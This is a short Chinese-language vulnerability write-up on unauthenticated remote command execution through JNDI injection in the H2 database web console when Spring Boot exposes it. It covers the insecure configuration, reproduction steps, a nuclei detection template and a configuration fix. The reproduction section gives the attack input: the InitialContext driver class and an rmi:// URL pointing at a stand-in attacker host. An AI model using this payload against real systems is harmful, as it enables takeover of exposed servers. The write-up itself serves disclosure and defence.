0x01 漏洞描述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
0x02 漏洞复现
访问IP:8080/h2-console
使用工具JNDI,配置config.properties,这里我们指定command。
在h2-console中输入Driver Class为javax.naming.InitialContext
,JDBC URL为:rmi://evil:23456/BypassByEL
在vps上运行该工具,在执行后可以收到远程服务器的连接。
同时我们的DNSlog收到响应。
0x03 漏洞发现
端口特征:由于h2-console是spring boot的一个组件,所以无端口特征
路径:/h2-console/login.jsp
nuclei模板:
id: h2console-panel
info:
name: H2 console web panel
author: righettod
severity: info
reference:
- https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ
- https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console
- https://www.shodan.io/search?query=http.title%3A%22H2+Console%22
tags: panel,h2,console
requests:
- method: GET
path:
- '{{BaseURL}}/h2-console/login.jsp'
matchers:
- type: dsl
dsl:
- "status_code==200"
- "contains(tolower(body), '<title>h2 console</title>')"
condition: and
0x04 修复建议
修改配置为false。